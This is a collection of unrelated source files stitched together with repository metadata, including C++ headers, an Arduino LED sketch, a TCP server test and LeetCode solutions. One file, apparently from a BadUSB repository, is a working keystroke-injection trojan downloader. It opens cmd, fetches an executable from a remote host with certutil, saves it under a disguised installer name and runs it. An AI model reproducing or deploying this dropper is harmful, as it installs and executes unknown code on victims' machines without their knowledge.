strHeaderFormat = _T("dddd dd MMMM");
SYSTEMTIME st;
COleDateTime dtDay = GetDayDate();
CXTPCalendarUtils::GetAsSystemTime(dtDay, st);
CString strDate = CXTPCalendarUtils::GetDateFormat(&st, strHeaderFormat);
//-------------------------------------------------------------
DWORD dwFlags = GetCalendarControl()->GetAskItemTextFlags();
if (dwFlags & xtpCalendarItemText_WeekViewDayHeader)
{
XTP_CALENDAR_GETITEMTEXT_PARAMS objRequest;
::ZeroMemory(&objRequest, sizeof(objRequest));
objRequest.nItem = (int)xtpCalendarItemText_WeekViewDayHeader;
objRequest.pstrText = &strDate;
objRequest.pViewDay = (CXTPCalendarViewDay*)this;
GetCalendarControl()->SendNotificationAlways(XTP_NC_CALENDAR_GETITEMTEXT,
(WPARAM)&objRequest, 0);
}
//-------------------------------------------------------------
return strDate;
}
| [
"utsavchokshi@Utsavs-MacBook-Pro.local"
] | utsavchokshi@Utsavs-MacBook-Pro.local |
a037eaf26c7c72b3d04e2c595c39d96f6e8f35d5 | 47fd8318f7b68077bfd9db789a17598e53b6fa0c | /tools/pythonpkg/src/include/duckdb_python/vector_conversion.hpp | e4d68a313ffb427482e5a55fca05d58ae9277f5d | [
"MIT"
] | permissive | feiyunwill/duckdb | b14e67aad6161ae47e4eddf12e0e1f15f9a11ce4 | 57640e5c04fd0748532451b24e2001f1e17ac011 | refs/heads/master | 2023-04-16T04:34:06.565932 | 2021-05-02T11:31:02 | 2021-05-02T11:31:02 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,143 | hpp | //===----------------------------------------------------------------------===//
// DuckDB
//
// duckdb_python/array_wrapper.hpp
//
//
//===----------------------------------------------------------------------===//
#pragma once
#include "duckdb_python/pybind_wrapper.hpp"
#include "duckdb.hpp"
namespace duckdb {
enum class PandasType : uint8_t {
BOOLEAN,
TINYINT,
SMALLINT,
INTEGER,
BIGINT,
UTINYINT,
USMALLINT,
UINTEGER,
UBIGINT,
FLOAT,
DOUBLE,
TIMESTAMP,
VARCHAR
};
struct NumPyArrayWrapper {
explicit NumPyArrayWrapper(py::array numpy_array) : numpy_array(move(numpy_array)) {
}
py::array numpy_array;
};
struct PandasColumnBindData {
PandasType pandas_type;
py::array numpy_col;
unique_ptr<NumPyArrayWrapper> mask;
};
class VectorConversion {
public:
static void NumpyToDuckDB(PandasColumnBindData &bind_data, py::array &numpy_col, idx_t count, idx_t offset,
Vector &out);
static void BindPandas(py::handle df, vector<PandasColumnBindData> &out, vector<LogicalType> &return_types,
vector<string> &names);
};
} // namespace duckdb
| [
"hannes@muehleisen.org"
] | hannes@muehleisen.org |
7cfcb093cb312b354ed500f91e0b11d56e0fb64f | 2afaf7baff452dc15d6c3e2ba91bf3464516c09f | /rgbSerialInput/rgbSerialInput.ino | 10aa749f0e4708aa290a04322daf4f6e6af06593 | [
"MIT"
] | permissive | jatib/LabElectronica | 2c97a5aff0042b7261676ab34b1538ce85a68570 | defcf085365acd76382c91f4d8ae37d8c8476bb5 | refs/heads/master | 2021-05-03T11:06:41.753882 | 2018-06-15T21:38:29 | 2018-06-15T21:38:29 | 120,545,168 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 583 | ino | int Rojo = 8;
int Verde = 9;
int Azul = 10;
void setup() {
pinMode(Rojo, OUTPUT);
pinMode(Verde, OUTPUT);
pinMode(Azul, OUTPUT);
}
void EstablecerColor(int R, int G, int B) {
analogWrite(Rojo, 255 - R);
analogWrite(Verde, 255 - G);
analogWrite(Azul, 255 - B);
}
void loop() {
//Se representan colores pseudoaleatorios en el LED RGB mediante el
//uso de la instrución random(min,max);.
EstablecerColor(random(0, 255), random(0, 255), random(0, 255));
//Se utiliza un delay para que de tiempo algo observador a apreciar
//los colores.
delay(1000);
}
| [
"neuromante@laptowski"
] | neuromante@laptowski |
f4703d25f335d40ec742aa18ad84f2508e033701 | ab67fec3691d6160cadd440b28c294b4d3725c68 | /TrojanDownloader/CERTUTIL_DownLoader/CERTUTIL_DownLoader_MSF.ino | 7f2680cc53999f5cfad46675e2d52073ce58bd9e | [
"BSD-3-Clause"
] | permissive | joeperry8080/BadUSB | d805039a728018feb69d63fa1858f5cdc018a123 | 11f55ac48357acb737ab1204f671cbfe3dfa45b1 | refs/heads/master | 2023-07-02T18:39:57.521600 | 2021-05-29T12:21:01 | 2021-05-29T12:21:01 | null | 0 | 0 | null | null | null | null | GB18030 | C++ | false | false | 1,003 | ino | #include<Keyboard.h>
void setup()
{
Keyboard.begin();//开始键盘通信
delay(4000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样
Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
Keyboard.release(KEY_CAPS_LOCK); //释放大写键
delay(500);
Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键
delay(500);
Keyboard.press('r');//按下r键
delay(500);
Keyboard.println("cmd.exe");
delay(1000);
Keyboard.println("certutil -urlcache -split -f http://192.168.43.242/wwy.exe D:\\setup_11.5.0.exe");
delay(1000);
delay(1000);
Keyboard.println("D:\\SETUP_11.5.0.EXE");
delay(500);
Keyboard.println("exit");
delay(500);
Keyboard.press(KEY_CAPS_LOCK); //按下大写键
Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键
delay(400);
Keyboard.end();//结束键盘通讯
}
void loop()
{
} | [
"wwy201718@163.com"
] | wwy201718@163.com |
8f1c3636c985a69f4b9e3f34b623af56a7417cae | 7d5074e124e8144c57c136b1e1ad6ab94304017a | /src/gameplay/elements/shipsystems/item.hpp | 13a75ac9d720e2e800e9480497755a82035b7bc7 | [] | no_license | Thanduriel/wimp_s | 3ced5abf3b989ce1752713a3d12107123a086a15 | adb27d2777c6a98bd19370379ea9dc672613e7cc | refs/heads/master | 2021-06-26T06:37:38.877709 | 2020-07-06T16:57:33 | 2020-07-06T16:57:33 | 90,191,659 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,963 | hpp | #pragma once
#include <string>
#include <array>
#include "utils/color.hpp"
namespace Generators {
class WeaponGenerator;
class ShieldGenerator;
}
namespace Game {
class Ship;
class Item
{
public:
enum struct Quality : int
{
Basic,
Advanced,
Premium,
Unique,
COUNT
};
enum struct Icon : int
{
DefaultWeapon,
Missile,
DefaultShield,
StrongShield,
COUNT
};
enum struct Type : int
{
Weapon,
Shield,
COUNT
};
static const std::array<Utils::Color32F, (size_t)Quality::COUNT> QUALITY_COLOR;
static const std::array<std::string, (size_t)Quality::COUNT> QUALITY_COLOR_STR;
static const std::array<int, (size_t)Quality::COUNT> QUALITY_VALUE;
static const std::array<std::string, (size_t)Icon::COUNT> ICON_STR;
static constexpr int USE_QUALITY = -1;
Item(Quality _quality, Icon _icon, const std::string& _name, const std::string& _description, int _value = USE_QUALITY);
Quality GetQuality() const { return m_quality; }
Icon GetIcon() const { return m_icon; }
const std::string& GetName() const { return m_name; }
const std::string& GetDescription() const { return m_description; }
int GetValue() const { return m_value; }
virtual Item::Type GetType() const = 0;
bool IsEquiped() const { return m_ship; }
virtual void Equip(Ship& _ship) const;
virtual void UnEquip(Ship& _ship) const;
protected:
Quality m_quality;
Icon m_icon;
std::string m_name;
std::string m_description;
int m_value;
mutable Ship* m_ship; // ship that currently owns this item, nullptr when not equipped
// global buffs
float m_maxEnergy = 0.f;
float m_maxShield = 0.f;
float m_maxHealth = 0.f;
float m_energyRecharge = 0.f;
friend class Generators::WeaponGenerator;
friend class Generators::ShieldGenerator;
};
template<Item::Type _Type>
class TypeItem : public Item
{
public:
using Item::Item;
Item::Type GetType() const final
{
return _Type;
}
};
} | [
"rojendersie@alice.de"
] | rojendersie@alice.de |
256383ac210efc4f7e42245ed556bb23118cf461 | 314d970a256a37d677779ecb641e8690c467caf7 | /bwt/WaveletTree.hpp | f26554347455c247c84fdf2f8caa1a1607b31147 | [] | no_license | adrien-gide/Duplifinder | 59df98488da8a57d94d932753c678f947c5ce9f6 | 7e6c0c6c0708cc1b5998c942caf738c94906cef1 | refs/heads/master | 2020-05-25T09:28:47.362625 | 2019-08-16T08:25:27 | 2019-08-16T08:25:27 | 187,736,738 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 668 | hpp | /**
*
* WaveletTree.hpp
* Created by Adrien Gide on 2019/08/08.
*/
#ifndef WVLT_TREE
#define WVLT_TREE
#pragma once
#include <iostream>
#include <utility>
#include <map>
#include "Node.hpp"
class Node;
class WaveletTree
{
friend class Node;
public:
typedef std::map<std::pair<int,int>, Node* > map_node;
typedef std::map<char,std::pair<int,long> > occu_type;
public:
WaveletTree(std::string );
Node getNode(std::pair<int,int> );
// inline occu_type getOccus(){return occus;};
// inline map_node getTree(){return tree;};
map_node tree;
occu_type occus;
private:
Node *root;
void fill_occus();
};
#endif //WVLT_TREE
| [
"adrien.gide@outlook.com"
] | adrien.gide@outlook.com |
b48617c136f2121dd6ac166a19283f9520aff441 | 7a69cafbdac6ba04c588617c3357b8ce493ab5fb | /include/Score.h | 549f959793aec6c3d42213d89129dca52935d607 | [] | no_license | india-avans/Workshop | 1143162a66b4d2c1a46c0bb989bb7909a6f304ae | a1e4f732ddaf977e8ac3f8307ac4d497240aa346 | refs/heads/master | 2023-01-28T11:20:21.261612 | 2020-12-09T23:20:59 | 2020-12-09T23:20:59 | 319,920,753 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 311 | h | #pragma once
#include <GuiObject.h>
class Score : public India::GuiObject {
public:
Score();
void DrawComponent(const India::Graphics2D& g) const noexcept override;
void Reset();
void SetScore(int score);
int GetScore();
private:
void DrawScore(const India::Graphics2D& g) const noexcept;
int _score;
}; | [
"stijn.wolf@home.nl"
] | stijn.wolf@home.nl |
5ea2dfece7422afed706635d6c0d5c2a59158482 | 6eaf169908c510bbdeccf644165039137d8140be | /frontend/menu/StyleMenu.h | 1af0950872d32cbaa0a12841ee1d88ce88ad3479 | [] | no_license | Indidev/headcooker | 77ca646634ff56f0911230588dd498e463bb4666 | 40221be7df5f310177aae77c63849a412be619c4 | refs/heads/master | 2020-05-30T07:22:24.419509 | 2016-03-31T20:18:53 | 2016-03-31T20:18:53 | 40,899,920 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 516 | h | #ifndef STYLEMENU_H
#define STYLEMENU_H
#include <QPushButton>
#include <QScrollBar>
#include <QPixmap>
#include <QBitmap>
#include "MenuWidget.h"
#include <QWidget>
#include "backend/Options.h"
#include "backend/Util.h"
namespace Ui {
class StyleMenu;
}
class StyleMenu : public MenuWidget
{
Q_OBJECT
public:
StyleMenu(QWidget *parent = 0);
~StyleMenu();
void saveChanges();
public slots:
void updateStylesheet();
private:
Ui::StyleMenu *ui;
QImage image;
};
#endif // STYLEMENU_H
| [
"dominik@dominik-muth.de"
] | dominik@dominik-muth.de |
d65530f642a0d1c2c7e53be03cefc1c3610c5541 | 5b62da67ead3b0cd158e5ddd36ec8ec479845cc0 | /fdbservice/ThreadPool.h | f5fb3282b616699004d99cb255f3525467ca7ddb | [
"Apache-2.0"
] | permissive | dropbox/foundationdb | 6e754cc2a2d884698af7077769b3dc0df91b6892 | 4d3950903474e2a56f764c36f8159b77740279a2 | refs/heads/master | 2020-03-29T10:20:06.523983 | 2018-09-18T22:01:26 | 2018-09-18T22:01:26 | 149,799,982 | 4 | 2 | Apache-2.0 | 2018-10-22T16:05:26 | 2018-09-21T18:04:39 | C++ | UTF-8 | C++ | false | false | 2,290 | h | /****************************** Module Header ******************************\
* Module Name: ThreadPool.h
* Project: CppWindowsService
* Copyright (c) Microsoft Corporation.
*
* The class was designed by Kenny Kerr. It provides the ability to queue
* simple member functions of a class to the Windows thread pool.
*
* Using the thread pool is simple and feels natural in C++.
*
* class FDBService
* {
* public:
*
* void AsyncRun()
* {
* CThreadPool::QueueUserWorkItem(&Service::Run, this);
* }
*
* void Run()
* {
* // Some lengthy operation
* }
* };
*
* Kenny Kerr spends most of his time designing and building distributed
* applications for the Microsoft Windows platform. He also has a particular
* passion for C++ and security programming. Reach Kenny at
* http://weblogs.asp.net/kennykerr/ or visit his Web site:
* http://www.kennyandkarin.com/Kenny/.
*
* This source is subject to the Microsoft Public License.
* See http://www.microsoft.com/en-us/openness/resources/licenses.aspx#MPL.
* All other rights reserved.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND,
* EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A PARTICULAR PURPOSE.
\***************************************************************************/
#pragma once
#include <memory>
class CThreadPool
{
public:
template <typename T>
static void QueueUserWorkItem(void (T::*function)(void),
T *object, ULONG flags = WT_EXECUTELONGFUNCTION)
{
typedef std::pair<void (T::*)(), T *> CallbackType;
std::auto_ptr<CallbackType> p(new CallbackType(function, object));
if (::QueueUserWorkItem(ThreadProc<T>, p.get(), flags))
{
// The ThreadProc now has the responsibility of deleting the pair.
p.release();
}
else
{
throw GetLastError();
}
}
private:
template <typename T>
static DWORD WINAPI ThreadProc(PVOID context)
{
typedef std::pair<void (T::*)(), T *> CallbackType;
std::auto_ptr<CallbackType> p(static_cast<CallbackType *>(context));
(p->second->*p->first)();
return 0;
}
}; | [
"fdbteam@apple.com"
] | fdbteam@apple.com |
a6312aaf4574d80cfe7ed1f5f37fee724b530f73 | 693cf59ef36944bdb6315a5326d374c2dd73548a | /framework/net-tcpserver/tests/TcpServerTest/main.cpp | feab7c845fe18e0d15aae79efbae77e8dce4cc16 | [
"MIT"
] | permissive | pj520/samples | 9daf5738d26280e63dbd7b1c92e08c86b9949f7f | be2fd3401030e3e75e135cc6f4b829c9e1a1f635 | refs/heads/master | 2020-04-03T19:01:41.228298 | 2019-02-27T14:07:33 | 2019-02-27T14:07:33 | 155,506,977 | 0 | 0 | MIT | 2018-10-31T06:02:54 | 2018-10-31T06:02:54 | null | UTF-8 | C++ | false | false | 4,260 | cpp | /*************************************************************************
> File Name: main.cpp
> Author:
> Mail:
> Created Time: 2016年02月03日 星期三 15时06分27秒
************************************************************************/
#include <assert.h>
#include <iostream>
#include "TcpServerWrapper.h"
#include "PeopleInfoMessage.h"
class TcpServerMessageHandler
{
public:
TcpServerMessageHandler(TcpServerWrapperPtr server)
{
assert(server.use_count() != 0);
m_server = server;
}
public:
void handleReciveMessage(MessagePtr message, const std::string& remoteAddress)
{
std::cout << "remote address: " << remoteAddress << std::endl;
unsigned int messageType = message->m_messageType;
switch (messageType)
{
case 1000:
{
PeopleInfoMessagePtr peopleInfoMessage(new PeopleInfoMessage);
bool ok = deSerialize(message, peopleInfoMessage);
assert(ok);
std::cout << "#################" << std::endl;
std::cout << "m_messageType: " << peopleInfoMessage->m_messageType << std::endl;
std::cout << "m_name: " << peopleInfoMessage->m_name << std::endl;
std::cout << "m_age: " << peopleInfoMessage->m_age << std::endl;
std::cout << "m_sex: " << peopleInfoMessage->m_sex << std::endl;
std::cout << "#################" << std::endl;
PeopleInfoMessagePtr peopleInfo(new PeopleInfoMessage);
peopleInfo->m_messageType = 1000;
peopleInfo->m_name = "Jack";
peopleInfo->m_age = 20;
peopleInfo->m_sex = 1;
m_server->write(peopleInfo, remoteAddress);
break;
}
default:
{
std::cout << "Unknown message type: " << messageType << std::endl;
break;
}
}
}
void handleError(const std::string& errorString, const std::string& remoteAddress)
{
(void)remoteAddress;
std::cout << "Tcp server handle error: " << errorString << std::endl;
}
void handleClientConnect(const std::string& remoteAddress)
{
std::cout << "Client connected, remote address: " << remoteAddress << std::endl;
}
void handleClientDisconnect(const std::string& remoteAddress)
{
std::cout << "Client disconnected, remote address: " << remoteAddress << std::endl;
}
private:
template<typename T>
bool deSerialize(const MessagePtr message, T t)
{
std::istringstream is(message->m_data);
try
{
boost::archive::binary_iarchive ia(is);
ia >> *t;
t->m_messageType = message->m_messageType;
}
catch (std::exception& e)
{
std::cout << "DeSerialize data failed: " << e.what() << std::endl;
return false;
}
return true;
}
private:
TcpServerWrapperPtr m_server;
};
using TcpServerMessageHandlerPtr = std::shared_ptr<TcpServerMessageHandler>;
int main()
{
TcpServerWrapperPtr server(new TcpServerWrapper(8888));
server->setThreadPoolNum(10);
TcpServerMessageHandlerPtr handler(new TcpServerMessageHandler(server));
ServerParam param;
param.m_onRecivedMessage =
std::bind(&TcpServerMessageHandler::handleReciveMessage,
handler, std::placeholders::_1, std::placeholders::_2);
param.m_onHandleError =
std::bind(&TcpServerMessageHandler::handleError,
handler, std::placeholders::_1, std::placeholders::_2);
param.m_onClientConnect =
std::bind(&TcpServerMessageHandler::handleClientConnect,
handler, std::placeholders::_1);
param.m_onClientDisconnect =
std::bind(&TcpServerMessageHandler::handleClientDisconnect,
handler, std::placeholders::_1);
server->setServerParam(param);
bool ok = server->start();
if (ok)
{
std::cout << "Server starting..." << std::endl;
}
else
{
std::cout << "Server start failed" << std::endl;
return 0;
}
std::cin.get();
std::cout << "Server stoped..." << std::endl;
return 0;
}
| [
"787280310@qq.com"
] | 787280310@qq.com |
81160647391f47ce16fa8bd8d18a16123b14e721 | 98819d62d5b7e901975bb01b34b38dbc3cb2f422 | /src/553_Optimal_Division.cpp | a36c8d42dec0653bf538ef6a3121354d8cbf8650 | [] | no_license | Liuyi-Wang/LeetCode | 78666c34dd6de9fbed611fb7a53fb522fe823b7c | c4f86881cab16b09eafcad0745b59b334dae2ae5 | refs/heads/master | 2022-02-04T03:29:29.606869 | 2022-02-01T00:52:43 | 2022-02-01T00:52:43 | 196,485,970 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 615 | cpp | static int __ = []() {
std::ios::sync_with_stdio(false);
std::cin.tie(nullptr);
std::cout.tie(nullptr);
return 0;
}();
class Solution {
public:
string optimalDivision(vector<int>& nums) {
if (1 == nums.size()) {
return to_string(nums[0]);
}
if (2 == nums.size()) {
return to_string(nums[0])+"/"+to_string(nums[1]);
}
string result = to_string(nums[0])+"/(";
for (int i = 1; i < nums.size()-1; ++i) {
result += to_string(nums[i])+"/";
}
result += to_string(nums.back());
return result+")";
}
};
| [
"wangliuy@umich.edu"
] | wangliuy@umich.edu |
f9e50f6570278715603ed266fd5290ff9112aa7e | 2505dfa86d88ee449c20ebc92f3343f28cef585c | /PhysicalNumberDemo.cpp | 37165c8f8d3fa0d69389dcd587f9ddb57d847b8f | [] | no_license | aricRach/PhysicalNumber | 568efd03ef84ba1cf7338f31cb6ff88c59c890ad | c6ca96aa1ecbe009efd700b1b511c70d0fd9c666 | refs/heads/master | 2020-05-05T11:49:57.734568 | 2019-07-17T14:20:39 | 2019-07-17T14:20:39 | 180,005,605 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,621 | cpp | /**
* Examples of automatic tests for the exercise on physical numbers.
*
* @author Erel Segal-Halevi
* @since 2019-02
*/
#include <iostream>
#include <sstream>
//using std::cout, std::endl, std::istringstream;
using namespace std;
#include "PhysicalNumber.h"
using ariel::PhysicalNumber;
using ariel::Unit;
#include "badkan.hpp"
int main() {
badkan::TestCase testcase;
int grade=0;
int signal = setjmp(badkan::longjmp_buffer);
if (signal == 0) {
// BASIC TESTS - DO NOT CHANGE
PhysicalNumber a(2, Unit::KM);
PhysicalNumber b(300, Unit::M);
PhysicalNumber c(2, Unit::HOUR);
PhysicalNumber d(30, Unit::MIN);
testcase
.setname("Basic output")
.CHECK_OUTPUT(a, "2[km]")
.CHECK_OUTPUT(b, "300[m]")
.setname("Compatible dimensions")
.CHECK_OUTPUT(b+a, "2300[m]")
.CHECK_OUTPUT((a+=b), "2.3[km]")
.CHECK_OUTPUT(a, "2.3[km]")
.CHECK_OUTPUT(a+a, "4.6[km]")
.CHECK_OUTPUT(b-b, "0[m]")
.CHECK_OUTPUT(c, "2[hour]")
.CHECK_OUTPUT(d, "30[min]")
.CHECK_OUTPUT(d+c, "150[min]")
.setname("Incompatible dimensions")
.CHECK_THROWS(a+c)
.CHECK_THROWS(a+d)
.CHECK_THROWS(b+c)
.CHECK_THROWS(b+d)
.setname("Basic input")
.CHECK_OK(istringstream("700[kg]") >> a)
.CHECK_OUTPUT((a += PhysicalNumber(1, Unit::TON)), "1700[kg]")
// YOUR TESTS - INSERT AS MANY AS YOU WANT
.setname("...")
.print(cout, /*show_grade=*/false);
grade = testcase.grade();
} else {
testcase.print_signal(signal);
grade = 0;
}
cout << "*** Grade: " << grade << " ***" << endl;
return grade;
}
| [
"noreply@github.com"
] | aricRach.noreply@github.com |
27ad3843f59b8bc193a471ab6f273493adb4b02f | 3b7509bac0c6ddd178b15f21ea923e6843e28c8f | /20/8/a.cpp | 3fd4588d6804a8efcf1ee389e0262f77b6157e57 | [] | no_license | NamikoToriyama/AtCoder | 4de7069cfef9acb66e03a4c10f6265eacfce0554 | 2782e07ed87cbc6172c9be954378b9b2c2eb6192 | refs/heads/master | 2022-10-24T16:02:26.294098 | 2020-06-09T16:54:42 | 2020-06-09T16:54:42 | 189,328,384 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 543 | cpp | #include <stdio.h>
#include <iostream>
#include <cmath>
#include <string>
#include <vector>
#include <algorithm>
#include <iomanip>
#include <queue>
#include <map>
//#include <bits/stdc++.h>
using namespace std;
#define print(x) cout<<(x)<<endl
#define prints(x, y) cout<<(x)<<" "<<(y)<<endl
#define rep(i, n) for(int i = 0; i < (int)n; i++)
#define ll long long int
#define pb push_back
int main() {
int N;
cin >> N;
if(N==100) print("Perfect");
else if(N>=90) print("Great");
else if(N>=60) print("Good");
else print("Bad");
}
| [
"g1720529@is.ocha.ac.jp"
] | g1720529@is.ocha.ac.jp |
726f7bb941dc9fcd271ad506b8d03d6b70fa3ab6 | 3daaefb69e57941b3dee2a616f62121a3939455a | /mgllib/src/3d/MglProjectionMatrixManager.h | e4c3eff1f77922769f3f0926d50b79ee6234b4d7 | [] | no_license | myun2ext/open-mgl-legacy | 21ccadab8b1569af8fc7e58cf494aaaceee32f1e | 8faf07bad37a742f7174b454700066d53a384eae | refs/heads/master | 2016-09-06T11:41:14.108963 | 2009-12-28T12:06:58 | 2009-12-28T12:06:58 | null | 0 | 0 | null | null | null | null | SHIFT_JIS | C++ | false | false | 1,575 | h | ///////////////////////////////////////////////////////////////////////
//
// MglProjectionMatrixManager
//
///////////////////////////////////////////////////////////////////////
#ifndef __MglProjectionMatrixManager_H__
#define __MglProjectionMatrixManager_H__
#include "MglGraphicManager.h"
#define _MGL3D_COORDINATE_LEFT_HAND (0) // 左手座標系
#define _MGL3D_COORDINATE_RIGHT_HAND (1) // 右手座標系
#define _MGL3D_COORDINATE_USE _MGL3D_COORDINATE_LEFT_HAND
#define MGL3D_X (0)
#define MGL3D_Y (1)
#define MGL3D_Z (2)
// クラス宣言
class DLL_EXP CMglProjectionMatrixManager : public virtual CMglDgBase
{
private:
protected:
D3DXMATRIX m_projection;
float m_fAspectRatio;
float m_fViewingAngle;
float m_fClipNear;
float m_fClipFar;
public:
//////////////////////////
//
// 公開メソッド
//
// コンストラクタ/デストラクタ
CMglProjectionMatrixManager();
virtual ~CMglProjectionMatrixManager();
// 初期化/開放
virtual void Init( CMglGraphicManager* in_myudg=GetDefaultGd() );
virtual void Release();
/////////////////////////////////////////////////////////////////
void ReTransform();
// Projection
void SetupProjection( float fAspectRatio, float fViewingAngle=30.0f, float fClipNear=0.01f, float fClipFar=100.0f );
void SetProjectionMatrix(D3DXMATRIX &matProjection);
D3DXMATRIX& GetProjectionMatrix(){ return m_projection; }
};
typedef CMglProjectionMatrixManager CMglPerspectiveMatrixManager;
#endif//__MglProjectionMatrixManager_H__
| [
"myun2@6d62ff88-fa28-0410-b5a4-834eb811a934"
] | myun2@6d62ff88-fa28-0410-b5a4-834eb811a934 |
b54a6283ae1309c260a538798c5c809c436977b5 | d6cf7e3a1a58fd3185e2619419f6aa66e8e9a9da | /3.6.6 Cyclic process. Sequences of random numbers/23/main.cpp | a044dac4365e3ccd56220d7d9f41645b0b8ac3d3 | [] | no_license | Nkeyka/Qt-Creator-Cpp-Book | 6ba92cdb0eda0b844c83815266756c7e18d285e1 | dcbfaf86bd0ece7c0e5642e03ab5796e2a68c916 | refs/heads/main | 2023-02-23T08:52:16.902547 | 2021-02-02T05:21:36 | 2021-02-02T05:21:36 | 319,847,831 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 330 | cpp | #include <iostream>
using namespace std;
int main()
{
int sum = 0, sum2 = 0, temp;
int N;
cout << "N = ";
cin >> N;
for (int i = 0; i < N; i++) {
cin >> temp;
if (temp > 0) sum += temp;
else sum2 += temp;
}
cout << "+" << sum << " " << sum2;
return 0;
}
| [
"nkeyka@gmail.com"
] | nkeyka@gmail.com |
b59b81609445eb3344c37d30724207ea88943423 | 600df3590cce1fe49b9a96e9ca5b5242884a2a70 | /third_party/angle/src/compiler/translator/ConstantUnion.h | eec0f0ff97dced38cd38006387df5978ac644acd | [
"LGPL-2.0-or-later",
"GPL-1.0-or-later",
"MIT",
"Apache-2.0",
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | metux/chromium-suckless | efd087ba4f4070a6caac5bfbfb0f7a4e2f3c438a | 72a05af97787001756bae2511b7985e61498c965 | refs/heads/orig | 2022-12-04T23:53:58.681218 | 2017-04-30T10:59:06 | 2017-04-30T23:35:58 | 89,884,931 | 5 | 3 | BSD-3-Clause | 2022-11-23T20:52:53 | 2017-05-01T00:09:08 | null | UTF-8 | C++ | false | false | 3,502 | h | //
// Copyright (c) 2002-2014 The ANGLE Project Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//
#ifndef COMPILER_TRANSLATOR_CONSTANTUNION_H_
#define COMPILER_TRANSLATOR_CONSTANTUNION_H_
#include <assert.h>
#include "compiler/translator/Common.h"
#include "compiler/translator/BaseTypes.h"
class TDiagnostics;
class TConstantUnion
{
public:
POOL_ALLOCATOR_NEW_DELETE();
TConstantUnion();
bool cast(TBasicType newType, const TConstantUnion &constant);
void setIConst(int i) {iConst = i; type = EbtInt; }
void setUConst(unsigned int u) { uConst = u; type = EbtUInt; }
void setFConst(float f) {fConst = f; type = EbtFloat; }
void setBConst(bool b) {bConst = b; type = EbtBool; }
int getIConst() const { return iConst; }
unsigned int getUConst() const { return uConst; }
float getFConst() const { return fConst; }
bool getBConst() const { return bConst; }
bool operator==(const int i) const;
bool operator==(const unsigned int u) const;
bool operator==(const float f) const;
bool operator==(const bool b) const;
bool operator==(const TConstantUnion &constant) const;
bool operator!=(const int i) const;
bool operator!=(const unsigned int u) const;
bool operator!=(const float f) const;
bool operator!=(const bool b) const;
bool operator!=(const TConstantUnion &constant) const;
bool operator>(const TConstantUnion &constant) const;
bool operator<(const TConstantUnion &constant) const;
static TConstantUnion add(const TConstantUnion &lhs,
const TConstantUnion &rhs,
TDiagnostics *diag,
const TSourceLoc &line);
static TConstantUnion sub(const TConstantUnion &lhs,
const TConstantUnion &rhs,
TDiagnostics *diag,
const TSourceLoc &line);
static TConstantUnion mul(const TConstantUnion &lhs,
const TConstantUnion &rhs,
TDiagnostics *diag,
const TSourceLoc &line);
TConstantUnion operator%(const TConstantUnion &constant) const;
static TConstantUnion rshift(const TConstantUnion &lhs,
const TConstantUnion &rhs,
TDiagnostics *diag,
const TSourceLoc &line);
static TConstantUnion lshift(const TConstantUnion &lhs,
const TConstantUnion &rhs,
TDiagnostics *diag,
const TSourceLoc &line);
TConstantUnion operator&(const TConstantUnion &constant) const;
TConstantUnion operator|(const TConstantUnion &constant) const;
TConstantUnion operator^(const TConstantUnion &constant) const;
TConstantUnion operator&&(const TConstantUnion &constant) const;
TConstantUnion operator||(const TConstantUnion &constant) const;
TBasicType getType() const { return type; }
private:
union {
int iConst; // used for ivec, scalar ints
unsigned int uConst; // used for uvec, scalar uints
bool bConst; // used for bvec, scalar bools
float fConst; // used for vec, mat, scalar floats
};
TBasicType type;
};
#endif // COMPILER_TRANSLATOR_CONSTANTUNION_H_
| [
"enrico.weigelt@gr13.net"
] | enrico.weigelt@gr13.net |
47ba21338ea554f48c58437190563f414987ee49 | bf0e0ca8d71c453c506176ab40b343297ce77fc8 | /venus/include/venus/Dump.h | 189c5680b3309954f07be09573e18cf4b7e4aa14 | [
"MIT"
] | permissive | vihariswamy/cerl | 59ad9cebcf5443e0487160c47423cd4a872bf82e | 02b75ab9daf19f63294b7c078a73753328e2984b | refs/heads/master | 2022-12-26T04:09:22.807492 | 2020-10-01T10:57:40 | 2020-10-01T10:57:40 | 300,246,396 | 0 | 0 | MIT | 2020-10-01T10:57:07 | 2020-10-01T10:57:06 | null | UTF-8 | C++ | false | false | 3,710 | h | /* -------------------------------------------------------------------------
// Venus: A High Performance async server framework
//
// Module: venus/Dump.h
// Creator: Xihe Yu
// Email: krzycube@gmail.com
// Date: 2009-12-08 19:41:58
//
// $Id: Dump.h 2419 2010-04-08 14:00:42Z scm $
// -----------------------------------------------------------------------*/
#ifndef VENUS_DUMP_H
#define VENUS_DUMP_H
#ifndef VENUS_BASIC_H
#include "Basic.h"
#endif
#ifndef NS_CERL_IO
#define NS_CERL_IO NS_CERL::io
#define NS_CERL_IO_BEGIN NS_CERL_BEGIN namespace io {
#define NS_CERL_IO_END } NS_CERL_END
#endif
NS_CERL_IO_BEGIN
// =========================================================================
// dump Basic Types
template <class LogT>
inline void cerl_call dump(LogT& log, bool val)
{
log.print((int)val);
}
template <class LogT>
inline void cerl_call dump(LogT& log, char val)
{
log.print(val);
}
template <class LogT>
inline void cerl_call dump(LogT& log, Byte val)
{
log.print(val);
}
template <class LogT>
inline void cerl_call dump(LogT& log, Int16 val)
{
log.print(val);
}
template <class LogT>
